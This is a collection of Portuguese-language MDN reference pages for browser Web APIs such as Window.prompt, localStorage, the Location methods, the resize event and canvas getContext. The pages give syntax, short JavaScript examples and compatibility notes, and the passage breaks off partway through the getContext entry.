{"title":"Window.document - APIs da Web","text":"Window.document\n===============\n\nResumo\n------\n\nRetorna a referência para o documento contido na janela.\n\n> \n> \\*\\*Nota:\\*\\*Firefox 3 altera a segurança para documentos de uma janela de modo que apenas o domínio a partir do qual foi localizado possa acessar o documento. Enquanto isso pode quebrar alguns sites existentes, é um movimento feito por ambos Firefox 3 e Internet Explorer 7, e resulta na melhoria de segurança.\n> \n> \n> \n\nSintaxe\n-------\n```\n\ndoc = window.document\n```\n\n### Parâmetros\n\n* `doc` é um objeto referência de um objeto para um document (en-US).\nExemplo\n-------\n\n\n```js\n<!DOCTYPE html>\n<html>\n<head>\n   <title>Hello, World!</title>\n</head>\n<body>\n\n<script type=\"text/javascript\">\n   var doc = window.document;\n   alert( doc.title);    // alerts: Hello, World!\n</script>\n\n</body>\n</html>\n```\n\nEspecificação\n-------------\n\n* HTML"}
{"title":"Window.event - APIs da Web","text":"Window.event\n============\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\n**`window.event`** é uma propriedade proprietária do Microsoft Internet Explorer que só está disponível enquanto um manipulador de eventos DOM é chamado. Seu valor é o objeto Event atualmente tratado.\n\nEspecificações\n--------------\n\nNão é parte de nenhuma especificação.\n\nMicrosoft tem uma descrição na MSDN.\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Event.srcElement`"}
{"title":"Window.prompt() - APIs da Web","text":"Window.prompt()\n===============\n\nO Window.prompt() exibe uma caixa de diálogo com uma mensagem opcional solicitando ao usuário a entrada de algum texto.Sintaxe\n-------\n```\n\nresultado = window.prompt(texto, valor);\n```\n\n\n* `resultado` é uma cadeia de caracteres contendo o texto digitado pelo usuário, ou um valor nulo.\n* `texto` é uma cadeia de caracteres para exibir ao usuário. Este parâmetro é opcional e pode ser omitido se não há nada para mostrar na janela de prompt.\n* `valor` é uma cadeia de caracteres contendo o valor padrão exibido na caixa de entrada de texto. É um parâmetro opcional. Note que no Internet Explorer 7 e 8, se você não fornecer este parâmetro, a cadeia de caracteres \"undefined\" é o valor padrão.\nExemplo\n-------\n\n\n```js\nvar signo = prompt(\"Qual é o seu signo?\");\n\nif (signo.toLowerCase() == \"escorpião\") {\n  alert(\"Legal! Eu sou de Escorpião também!\");\n}\n\n// há muitas formas de se usar o recurso prompt\nvar sign = window.prompt(); // abrir uma janela de promtpt em branco\nvar sign = prompt(); // abrir uma janela de promtpt em branco\nvar sign = window.prompt(\"Você está se sentindo com sorte\"); // abrir uma janela com o texto \"Você está se sentindo com sorte\"\nvar sign = window.prompt(\"Você está se sentindo com sorte\", \"certamente\"); // abrir uma janela com o texto \"Você está se sentindo com sorte\" e com o valor padrão \"certamente\"\n```\n\n\nQuando o usuário pressiona o botão OK, o texto digitado no campo de texto é retornado. Se o usuário pressionar OK sem ter digitado qualquer texto, uma cadeia de caracteres vazia é retornada. Se o usuário pressionar o botão Cancelar, esta função retornará `null`.\n\n{{todo(\"external image!\")}} O prompt acima aparece da seguinte forma (no Chrome do Windows 7):\n\n![](https://lh4.googleusercontent.com/-uDx7r8y4tV8/UKv_PjG163I/AAAAAAAAHd0/Arwk0l4cpq0/s362/Prompt_Chrome_Windows7.png)\n\nNotas\n-----\n\nUma caixa de diálogo prompt contém uma caixa de texto de linha única, um botão Cancelar, e um botão OK, e retorna o (possivelmente vazio) texto que o usuário digitou naquela caixa de texto.\n\nThe following text is shared between this article, DOM:window.confirm and DOM:window.alertAs caixas de diálogo são janelas modais; eles impedem o usuário de acessar o resto da interface do programa até que a caixa de diálogo seja fechada. Por esta razão, você não deve abusar de qualquer função que crie uma caixa de diálogo (ou janela modal).\n\nPor favor, note que o resultado é uma cadeia de caracteres. Isso significa que você deve, algumas vezes, converter o valor dado pelo usuário. Por exemplo, se a resposta deve ser um número, você deve converter o valor para `Number:` var aNumber = Number(window.prompt(\"Digite um número\", \"\"));\n\nOs códigos do Mozilla Chrome (en-US) (e.g. Firefox extensions) ao invés disso, devem usar os métodos da interface `nsIPromptService`.\n\nNo Safari, se o usuário clicar em Cancelar, a função retornará uma cadeia de caracteres vazia. Portanto, ele não diferenciará o cancelamento do usuário de uma cadeia de caracteres vazia na caixa de texto.\n\nEsta função não tem efeito na versão Modern UI/Metro do Internet Explorer para Windows 8. Ele não exibe o prompt para o usuário, e sempre retornará `undefined`. Não está claro se é um erro ou um comportamento intencional. Versões desktop do IE implementam esta função.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-prompt-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `alert`\n* `confirm`"}
{"title":"GlobalEventHandlers.onblur - APIs da Web","text":"GlobalEventHandlers.onblur\n==========================\n\nA propriedade **onblur** retorna o código que vai lidar com o evento onBlur, se houver, que existe no elemento atual.\n\nSintaxe\n-------\n```\n\nelement.onblur = function;\n```\n\n\n* `function` é o nome de uma função definida pelo usuário, sem o sufixo () ou qualquer parâmetro, ou uma declaração de função anônima, como por exemplo\n```\n\nelement.onblur = function() { console.log(\"evento onblur detectado!\"); };\n```\n\nExemplo\n-------\n\n\n```html\n<html>\n  <head>\n    <title>exemplo de evento onblur</title>\n\n    <script type=\"text/javascript\">\n var elem = null;\n\n function initElement() {\n elem = document.getElementById(\"foo\");\n // NOTA: doEvent(); ou doEvent(param); NÃO irão funcionar aqui.\n // Deve ser uma referência ao nome da função, não à chamada da função.\n elem.onblur = doEvent;\n }\n\n function doEvent() {\n elem.value = \"Tchauzinho\";\n console.log(\"Evento onblur detectado!\");\n }\n </script>\n\n    <style type=\"text/css\">\n <!--\n #foo {\n border: solid blue 2px;\n }\n -->\n </style>\n  </head>\n\n  <body onload=\"initElement();\">\n    <form>\n      <input type=\"text\" id=\"foo\" value=\"Olá!\" />\n    </form>\n\n    <p>\n      Clique no elemento acima para dá-lo focus, depois clique fora do\n      elemento.<br />\n      Recarregue a pagina através do NavBar.\n    </p>\n  </body>\n</html>\n```\n\nNotas\n-----\n\nO evento blur aparece quando um elemento perde o focus.\n\nEm contraste cp, MSIE--O qual faz quase todos os elementos receberem o evento blur--quase todos os elementos em navegadores baseados no Gecko NÃO funcionam com este evento.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-blur |\n| HTML Standard # handler-onblur |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Window.localStorage - APIs da Web","text":"Window.localStorage\n===================\n\nA propriedade `localStorage` permite acessar um objeto `Storage` local. A `localStorage` é similar ao `sessionStorage` (en-US). A única diferença é que enquanto os dados armazenados no localStorage não expiram, os dados no sessionStorage tem os seus dados limpos ao expirar a sessão da página — ou seja, quando a página (aba ou janela) é fechada.\n\nSintaxe\n-------\n\n\n```js\nmeuStorage = localStorage;\n```\n\n### Valor\n\nObjeto `Storage`.\n\nExemplo\n-------\n\nO seguinte trecho acessa o objeto `Storage` local do domínio atual e adiciona um item usando o `Storage.setItem()`.\n\n\n```js\nlocalStorage.setItem(\"meuGato\", \"Tom\");\n```\n\n\n**Nota:** **Nota: Por favor veja o artigo** Using the Web Storage API **para um exemplo completo.**\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-localstorage-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using the Web Storage API\n* `LocalStorage` (en-US)\n* `SessionStorage` (en-US)\n* `Window.sessionStorage`"}
{"title":"window.requestIdleCallback() - APIs da Web","text":"window.requestIdleCallback()\n============================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`window.requestIdleCallback()`** enfileira uma função para ser executado durante períodos onde o navegador está ocioso. Isso permite que desenvolvedores realizem tarefas de baixa prioridade em relação a o event loop em segundo plano. As funções são geralmente chamadas na ordem first-in-first-out (primeiro-a-entrar-primeiro-a-sair); Contudo, callbacks nos quais tem um timeout especificado, podem ser chamados na ordem out-of-order (fora-de-ordem) se necessário, afim de executar antes do tempo limite.\n\nVocê pode chamar `requestIdleCallback()` com uma função callback ociosa para agendar outro callback para ter lugar não antes da próxima passagem pelo event loop.\n\n**Nota:** Um `timeout` é altamento recomendado, caso contrário, é possível que vários segundos passem antes que a função callback seja chamada.\n\nSyntax\n------\n```\n\nvar handle = window.requestIdleCallback(callback[, options])\n```\n\n### Return value\n\nAn ID which can be used to cancel the callback by passing it into the `window.cancelIdleCallback()` (en-US) method.\n\n### Parameters\n\n`callback`\n\nA reference to a function that should be called in the near future, when the event loop is idle. The callback function is passed an `IdleDeadline` (en-US) object describing the amount of time available and whether or not the callback has been run because the timeout period expired.\n\n`options` Optional\n\nContains optional configuration parameters. Currently only one property is defined:\n\n* `timeout`: If `timeout` is specified and has a positive value, and the callback has not already been called by the time *timeout* milliseconds have passed, the callback will be called during the next idle period, even if doing so risks causing a negative performance impact.\n\nExample\n-------\n\nSee our complete example (en-US) in the article Cooperative Scheduling of Background Tasks API (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| requestIdleCallback() Cooperative Scheduling of Background Tasks # the-requestidlecallback-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `window.cancelIdleCallback()` (en-US)\n* `IdleDeadline` (en-US)\n* `window.setTimeout()` (en-US)\n* `window.setInterval()` (en-US)\n* `window.requestAnimationFrame`"}
{"title":"load - APIs da Web","text":"load\n====\n```\n\nO evento de load é acionado quando um recurso e seus recursos\ndependentes terminaram de carregar.\n```\n\nInformações Gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n\nUIEvent\n\nBubbles\n\nNão\n\nCancelavel\n\nNão\n\nAlvo\n\nWindow\n\nAção Padrão\n\nNenhuma.\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | The event target (the topmost target in the DOM tree). |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | `Boolean` (en-US) | Whether the event normally bubbles or not. |\n| `cancelable` Somente leitura  | `Boolean` (en-US) | Whether the event is cancellable or not. |\n| `view` Somente leitura  | `WindowProxy` | `document.defaultView` (`window` of the document) |\n| `detail` Somente leitura  | `long` (`float`) | 0. |\n\nExemplo\n-------\n\n\n```html\n<script>\n window.addEventListener(\"load\", function (event) {\n console.log(\"Todos os recursos terminaram o carregamento!\");\n });\n</script>\n```\n\nEventos Relacionados\n--------------------\n\n* `DOMContentLoaded (en-US)`\n* `readystatechange (en-US)`\n* `load (en-US)`\n* `beforeunload (en-US)`\n* `unload (en-US)`"}
{"title":"Window.confirm() - APIs da Web","text":"Window.confirm()\n================\n\nO método **`Window.confirm()`** mostra uma janela modal com uma mensagem opcional e dois botões, OK e Cancelar.\n\nSintaxe\n-------\n```\n\nresultado = window.confirm(mensagem);\n```\n\n\n* `mensagem` é a string opcional que será mostrada no diálogo.\n* `resultado` é um booleano indicando se OK ou cancelar foram selecionados (`true` indicará OK).\nExemplo\n-------\n```\n\nif (window.confirm(\"Você realmente quer sair?\")) {\n  window.open(\"sair.html\", \"Obrigado pela visita!\");\n}\n```\n\n\nProduzirá:\n\n![firefox confirm](/pt-BR/docs/Web/API/Window/confirm/firefox_confirm_dialog.png)\n\nNotas\n-----\n\nThe following text is shared between this article, DOM:window.prompt and DOM:window.alert Caixas de diálogo são janelas modais - elas previnem o usuário de acessar o resto da interface da aplicação enquanto a caixa de diálogo não for fechada. Por esta razão, você não deve usar abusivamente nenhuma função que crie uma caixa de diálogo (ou uma janela modal). E independente disso, existem boas razões para evitar o uso de caixas de diálogo para confirmações.\n\nUsuários do Mozilla Chrome (Ex.: Extensões do Firefox) devem utilizar métodos de `nsIPromptService`.\n\nO argumento é opcional e não é requerido por especificações.\n\nEspecificação\n-------------\n\nEspecificado em HTML5.\n\nVeja Também\n-----------\n\n* `alert`\n* `prompt`"}
{"title":"Window.history - APIs da Web","text":"Window.history\n==============\n\nA propriedade só de leitura **Window.history** retorna uma referência ao objeto History, que fornece uma interface para manipular o histórico de sessão do navegador (páginas visitadas na guia ou quadro em que a página atual é carregada).\n\nConsulte Manipulação do histórico do navegador para obter exemplos e detalhes. Em particular, esse artigo explica os recursos de segurança dos métodos pushState () e replaceState () que você deve conhecer antes de usá-los.\n\nSyntax\n------\n```\n\nvar historyObj = window.history;\n```\n\nExample\n-------\n\n\n```js\nHistory.back(); // equivalente ao clique no botão Voltar\nHistory.go(-1); // equivalente a history.back ();\n```\n\nNotas\n-----\n\nPara páginas de nível superior, você pode ver a lista de páginas no histórico da sessão, acessível através do objeto Histórico, nos menus suspensos do navegador ao lado dos botões para trás e para frente.\n\nPor motivos de segurança, o objeto Histórico não permite que o código não privilegiado acesse os URLs de outras páginas no histórico da sessão, mas permite que ele navegue pelo histórico da sessão.\n\nNão há nenhuma maneira de limpar o histórico da sessão ou desabilitar a navegação para trás / para frente do código não privilegiado. A solução disponível mais próxima é o método location.replace (), que substitui o item atual do histórico da sessão pelo URL fornecido.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-history-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Window.innerHeight - APIs da Web","text":"Window.innerHeight\n==================\n\nAltura (em pixels) da janela de visualização do navegador, incluindo, se renderizado, a barra de rolagem horizontal.\n\n**Nota:** If you use `nsIDOMWindowUtils.setCSSViewport()` to set the virtual window size for page layout purposes, the value returned by this property corresponds to the viewport height set using that method.\n\nSyntax\n------\n```\n\nvar intViewportHeight = window.innerHeight;\n```\n\n### Value\n\nOn return, `intViewportHeight` is the height of the browser window's viewport.\n\nThe `window.innerHeight` property is read only; it has no default value.\n\nNotes\n-----\n\nThe `innerHeight` property is supported in any window object like a `window`, a frame, a frameset, or a secondary window.\n\nThere is an algorithm to obtain the height of the viewport excluding, if rendered, the horizontal scrollbar.\n\nExample\n-------\n\n### Assuming a frameset\n\n\n```js\nvar intFrameHeight = window.innerHeight; // or\n\nvar intFrameHeight = self.innerHeight;\n// will return the height of the frame viewport within the frameset\n\nvar intFramesetHeight = parent.innerHeight;\n// will return the height of the viewport of the closest frameset\n\nvar intOuterFramesetHeight = top.innerHeight;\n// will return the height of the viewport of the outermost frameset\n```\n\n{{todo(\"link to an interactive demo here\")}}\nTo change the size of a window, see `window.resizeBy()` (en-US) and `window.resizeTo()` (en-US).\n\nTo get the outer height of a window, i.e. the height of the whole browser window, see `window.outerHeight` (en-US).\n\n### Graphical example\n\nThe following figure shows the difference between `outerHeight` and `innerHeight`.\n\n![innerHeight vs outerHeight illustration](/pt-BR/docs/Web/API/Window/innerHeight/firefoxinnervsouterheight2.png)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-window-innerheight |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `window.innerWidth` (en-US)\n* `window.outerHeight` (en-US)\n* `window.outerWidth` (en-US)"}
{"title":"Window.setImmediate() - APIs da Web","text":"Window.setImmediate()\n=====================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nEsse método é usado para interromper operações de longa duração e executar uma função de retorno de chamada imediatamente após o navegador ter concluído outras operações, como eventos e atualizações de exibição.\n\n**Nota:** Não se espera que este método se torne padrão, e é implementado somente por compilações recentes do Internet Explorer e Node.js 0.10+. Existem resistencias de ambos Gecko (Firefox) e Webkit (Google/Apple).\n\nSintaxe\n-------\n```\n\nvar immediateID = setImmediate(func, [param1, param2, ...]);\nvar immediateID = setImmediate(func);\n```\n\n\n* onde `immediateID` é o ID da immediate que poderá ser usado depois com `window.clearImmediate` (en-US).\n* `func` é a função que será executada.\n\nTodos parametros serão passados diretamente para sua função .\n\nNotas\n-----\n\nO método `window.clearImmediate` (en-US) pode ser usado para limpar as ações immediate, como por exemplo `window.clearTimeout` (en-US) para `window.setTimeout` (en-US).\n\nEsse método pode ser usado ao invés de `setTimeout(fn, 0)`, para executar operações pesadas.\n\nEssa função pode ser emulada de algumas maneiras:\n\n* `window.postMessage` (en-US) pode ser usada para disparar um immediate mas produzindo um callback. Tenha em mente que o Internet Explorer 8 inclui uma versão síncrona do postMessage, que não deverá ser usado como alternativa.\n* MessageChannel pode ser usado com confiança dentro de Web Workers onde a semantica do postMessage significa que não pode ser usado lá.\n* `setTimeout(fn, 0)`*pode* ser usado potencialmente, no entanto, como é apertado em 4ms para temporizadores aninhados com mais de 5 profundidades por especificação HTML, não faz para um polifil adequado para o imediatismo natural de setImmediate.\n\nTodas essas técnicas são incorporadas em um setImmediate polyfill.\n\nEspecificação\n-------------\n\nNão faz parte de denhuma especificação.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n`window.clearImmediate` (en-US)\nMicrosoft setImmediate API Demo"}
{"title":"Window.scrollByPages() - APIs da Web","text":"Window.scrollByPages()\n======================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\n### Resumo\n\nRola o documento atual para a página especificada.\n\n### Sintaxe\n```\n\nwindow.scrollByPages(pages)\n```\n\n### Parâmetros\n\n* **`pages`** é o número de páginas a serem roladas.\n* **`pages`** pode ser um número inteiro positivo ou negativo.\n### Exemplo\n```\n\n// rola o documento para baixo até a página 1\nwindow.scrollByPages(1);\n\n// rola o documento para cima até a página 1\nwindow.scrollByPages(-1);\n```\n\n### Notas\n\nVeja também window.scrollBy, window.scrollByLines, window.scroll, window.scrollTo.\n\n### Specification\n\nDOM Level 0. Not part of specification."}
{"title":"Window.getSelection() - APIs da Web","text":"Window.getSelection()\n=====================\n\nResumo\n------\n\nRetorna um objeto `Selection` representando a parte do texto selecionada pelo usuário ou a posição atual do cursor.\n\nSyntax\n------\n```\n\nselection = window.getSelection();\n```\n\n\n* `selection` é um objeto `Selection`. Quando convertido para string, seja adicionando uma string vazia (\" \") ou usando `String.toString()`, esse objeto retorna o texto selecionado.\nExample\n-------\n\n\n```js\nfunction foo() {\n  var selObj = window.getSelection();\n  alert(selObj);\n  var selRange = selObj.getRangeAt(0);\n  // do stuff with the range\n}\n```\n\nNota\n----\n\n### Representação do objeto Selection em String\n\nNo JavaScript, quando um objeto é passado para uma função que espera uma string (como `window.alert()` ou `document.write()`), o método `toString()` do objeto é chamado e o valor retornado é passado para a função. Isso pode fazer com que o objeto pareça ser uma string quando usado com outras funções quando na verdade é um objeto com propriedades e métodos.\n\nNo exemplo acima, `selObj.toString()` é chamado automaticamente quando é passado para `window.alert()`. Contudo, tentar usar propriedades ou métodos do objeto JavaScript String como `length` ou `substr diretamente no objeto` `Selection` resultará em erro se o objeto não possuir essa propriedade ou método e pode retornar valores inesperados mesmo se os tiver. Para usar um objecto `Selection` como uma string, faça a chamada do seu método `toString()` diretamente:\n\n\n```js\nvar selectedText = selObj.toString();\n```\n\n\n* `selObj` é um objeto `Selection`.\n* `selectedText` é uma string (Selected text).\n### Objectos Relacionados\n\nÉ útil também notar que você pode chamar `Document.getSelection()`, que funciona de forma idêntica.\n\nInputs HTML provêm APIs mais simples para se trabalhar com seleções (veja `HTMLInputElement.setSelectionRange()`).\n\nNote a diferença entre *selection* e *focus*. `Document.activeElement` retorna o elemento com foco.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selection API # dom-window-getselection |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Selection`\n* `Range` (en-US)\n* `Document.getSelection()`\n* `HTMLInputElement.setSelectionRange()`\n* `Document.activeElement`, `HTMLElement.focus()` (en-US), and `HTMLElement.blur()` (en-US)"}
{"title":"resize - APIs da Web","text":"resize\n======\n\nO evento **`resize`** é disparado quando o document view é redimensionado.\n\nO evento manipulador pode ser registrado para o evento `resize` usando o atributo `window.onresize` ou usando `window.addEventListener('resize', ...)`\n\nEm alguns browsers mais recentes é possível registrar o evento manipulador `resize` em qualquer elemento HTML. E ainda é possível adicionar atributos `onresize` ou usar `addEventListener()` para implementar o manipulador em qualquer elemento. Entretanto, eventos `resize` apenas são disparados sobre (enviados para) o objeto `window` (`document.defaultView`). Apenas manipuladores registrados no objeto `window` recebem os eventos.\n\nExiste uma nova proposta (2017) para permitir que todos os elementos sejam notificados de alterações de tamanho. Veja Resize Observer para ler o documento rascunho, e Github issues para ler as discussões do que está ativo.\n\nInformações gerais\n------------------\n\nSpecifications\n\nDOM L3, CSSOM View\n\nInterface\n\nUIEvent\n\nBubbles\n\nNão\n\nCancelable\n\nNão\n\nTarget\n\ndefaultView (window)\n\nDefault Action\n\nNenhuma\n\nProperties\n----------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | O evento alto (o primeiro alvo na árvore DOM). |\n| `type` Somente leitura  | `DOMString` | O tipo de evento. |\n| `bubbles` Somente leitura  | `Boolean` (en-US) | Se o evento normalmente bubbles ou não. |\n| `cancelable` Somente leitura  | `Boolean` (en-US) | Se o evento é cancelado ou não. |\n| `view` Somente leitura  | `WindowProxy` | `document.defaultView` (`window` do documento) |\n| `detail` Somente leitura  | `long` (`float`) | 0. |\n\nExamples\n--------\n\nComo os eventos `resize` podem ser altamente executados, o evento manipulador não deve executar operações computacionais caras como modificações DOM. Em vez disso, recomenda-se diminuir o impacto do evento usando requestAnimationFrame (en-US), setTimeout (en-US) ou customEvent (en-US)\\*, como a seguir:\n\n**\\* IMPORTANT:** Por favor note que IE11 precisa do customEvent (en-US) polyfill para funcionar corretamente.\n\n### requestAnimationFrame + customEvent\n\n\n```js\n(function () {\n  var throttle = function (type, name, obj) {\n    obj = obj || window;\n    var running = false;\n    var func = function () {\n      if (running) {\n        return;\n      }\n      running = true;\n      requestAnimationFrame(function () {\n        obj.dispatchEvent(new CustomEvent(name));\n        running = false;\n      });\n    };\n    obj.addEventListener(type, func);\n  };\n\n  /\\* init - you can init any event \\*/\n  throttle(\"resize\", \"optimizedResize\");\n})();\n\n// handle event\nwindow.addEventListener(\"optimizedResize\", function () {\n  console.log(\"Resource conscious resize callback!\");\n});\n```\n\n### requestAnimationFrame\n\n\n```js\nvar optimizedResize = (function () {\n  var callbacks = [],\n    running = false;\n\n  // fired on resize event\n  function resize() {\n    if (!running) {\n      running = true;\n\n      if (window.requestAnimationFrame) {\n        window.requestAnimationFrame(runCallbacks);\n      } else {\n        setTimeout(runCallbacks, 66);\n      }\n    }\n  }\n\n  // run the actual callbacks\n  function runCallbacks() {\n    callbacks.forEach(function (callback) {\n      callback();\n    });\n\n    running = false;\n  }\n\n  // adds callback to loop\n  function addCallback(callback) {\n    if (callback) {\n      callbacks.push(callback);\n    }\n  }\n\n  return {\n    // public method to add additional callback\n    add: function (callback) {\n      if (!callbacks.length) {\n        window.addEventListener(\"resize\", resize);\n      }\n      addCallback(callback);\n    },\n  };\n})();\n\n// start process\noptimizedResize.add(function () {\n  console.log(\"Resource conscious resize callback!\");\n});\n```\n\n### setTimeout\n\n\n```js\n(function() {\n\n  window.addEventListener(\"resize\", resizeThrottler, false);\n\n  var resizeTimeout;\n  function resizeThrottler() {\n    // ignore resize events as long as an actualResizeHandler execution is in the queue\n    if ( !resizeTimeout ) {\n      resizeTimeout = setTimeout(function() {\n        resizeTimeout = null;\n        actualResizeHandler();\n\n       // The actualResizeHandler will execute at a rate of 15fps\n       }, 66);\n    }\n  }\n\n  function actualResizeHandler() {\n    // handle the resize event\n    ...\n  }\n\n}());\n```"}
{"title":"Location.assign() - APIs da Web","text":"Location.assign()\n=================\n\nO método **`Location.assign()`** faz com que o navegador carregue o documento na URL especificada e a exiba na janela atual.\n\nSe a tatefa não poder ser executada por alguma violação de segurança, uma `DOMException` (en-US) do tipo `SECURITY_ERROR` será lançada. Isso acontece se a origem do script chamador do método for diferente da origem da página originalmente descrita no objeto `Location`, geralmente quando o script está hospedado em um dominio diferente.\n\nSe a URL especificada for inválida, uma `DOMException` (en-US) do tipo `SYNTAX_ERROR` será lançada.\n\nSintaxe\n-------\n```\n\nlocation.assign(url);\n```\n\n### Parâmetros\n\n*url*\n\nÉ uma `DOMString` contendo a URL da página destino.\n\nExemplos\n--------\n\n\n```js\n// Navega para a página do artigo Location.reload\ndocument.location.assign(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/Location.reload\",\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-location-assign-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `Location`.\n* Métodos Similares: `Location.replace()` (en-US) and `Location.reload()`."}
{"title":"location: reload() method - APIs da Web","text":"location: reload() method\n=========================\n\nO método **`location.reload()`** recarrega a URL atual, como o botão Atualizar.\n\nO recarregamento pode ser bloqueado e um `SECURITY_ERROR` `DOMException` (en-US) lançado. Isso acontece se a origin do chamado do script `location.reload()` diferir da origem da página que possui o objeto `Location`. Veja Política de mesma origem (en-US) para mais informações.\n\nSintaxe\n-------\n\n\n```js\nreload()\n```\n\n### Parâmetros\n\n`forceGet` \nNon-standard\n\nPasse `true` para forçar um recarregamento ignorando o cache. O padrão é `false`. Suportado apenas no Firefox.\n\n### Valor de retorno\n\nNenhum (`undefined`).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-location-reload-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `Location` que o método pertence.\n* Métodos similares: `Location.assign()` e `Location.replace()` (en-US)."}
{"title":"Location: search - APIs da Web","text":"Location: search\n================\n\nA propriedade **`search`** da interface `Location` é um texto de busca, também chamado de *query string* ou *querystring*; isso é, uma `USVString` (en-US) contendo um `'?'` seguido pelos parâmetros da URL.\n\nOs navegadores modernos fornecem o `URLSearchParams` e o `URL.searchParams` para facilitar a análise dos parâmetros da querystring.\n\nSintaxe\n-------\n```\n\nstring = object.search;\nobject.search = string;\n```\n\nExemplos\n--------\n\n\n```js\n// Seleciona o elemento <a id=\"myAnchor\" href=\"https://developer.mozilla.org/pt-BR/docs/Location.search?q=123\">\nvar anchor = document.getElementById(\"myAnchor\");\nvar queryString = anchor.search; // Retorna:'?q=123'\n\n// Análise adicional:\nlet params = new URLSearchParams(queryString);\nlet q = parseInt(params.get(\"q\")); // é o número 123\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-location-search-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"HTMLCanvasElement.getContext() - APIs da Web","text":"HTMLCanvasElement.getContext()\n==============================\n\nO metodo **`HTMLCanvasElement.getContext()`** retorna um contexto de desenho no canvas, ou `null` se o contexto identificado não é suportado.\n\nSyntax\n------\n```\n\ncanvas.getContext(contextType, contextAttributes);\n```\n\n### Parametros\n\ncontextType\n\nÉ um `DOMString` contendo o contexto identificador definindo o contexto de desenho associado ao canvas. Os valores possiveis são:\n\n* `\"2d\"`, levando a criação de um objeto `CanvasRenderingContext2D` representando uma renderização bidimensional.\n* `\"webgl\"` (or `\"experimental-webgl\"`) que criará um objeto `WebGLRenderingContext` (en-US) representando uma renderização tridimensional. Esse contexto está disponivel somente em browsers que implementam WebGL versão 1 (OpenGL ES 2.0).\n* `\"webgl2\"` que criará um objeto `WebGL2RenderingContext` (en-US) representando uma renderização tridimensional. Esse contexto está disponivel somente em browsers que implementam WebGL versão 2 (OpenGL ES 3.0). \nExperimental\n* `\"bitmaprenderer\"` que criará um `ImageBitmapRenderingContext` (en-US) que apenas provê a funcionalidade de substituir o conteúdo do canvas pelo de um `ImageBitmap` (en-US).\n\n**Nota:** O identificador \"`experimental-webgl`\" é usado em novas implementações do WebGL. Essas implementações ou ainda não passaram nos casos de teste, ou os drivers gráficos na plataforma ainda não estão estáveis. O Khronos Group certifica as implementações do WebGL sob certas regas de conformidade.\n\n`contextAttributes`\n\nVocê pode usar alguns atributos de contexto quando criar o seu contexto de renderização, por exemplo:\n\n\n```js\ncanvas.getContext(\"webgl\", { antialias: false, depth: false });\n```\n\n\nAtributos de contexto 2d:\n\n* **`alpha`**: Boleano que indica se o canvas contém um canal alfa. Se definido como `false`, o browser saberá que o resultado será sempre opaco, o que pode acelerar o desenho de conteudo transparente e imagens.\n* Non-standard\n (Gecko only) **`willReadFrequently`**: Boleano que indica quando uma série de operações read-back estão planejadas. Isso forçará o uso de renderização 2D no canvas via software (ao invés de utilizar GPU) o que pode salvar memoria quando `getImageData()` (en-US) for chamado frequentemente. Essa opção está disponivel somente, se a flag `gfx.canvas.willReadFrequently.enable` está definida como `true` (o que, por padrão, é o caso do B2G/Firefox OS apenas).\n* Non-standard\n (Blink only) **`storage`**: String que indica qual storage é usado (\"persistent\" por 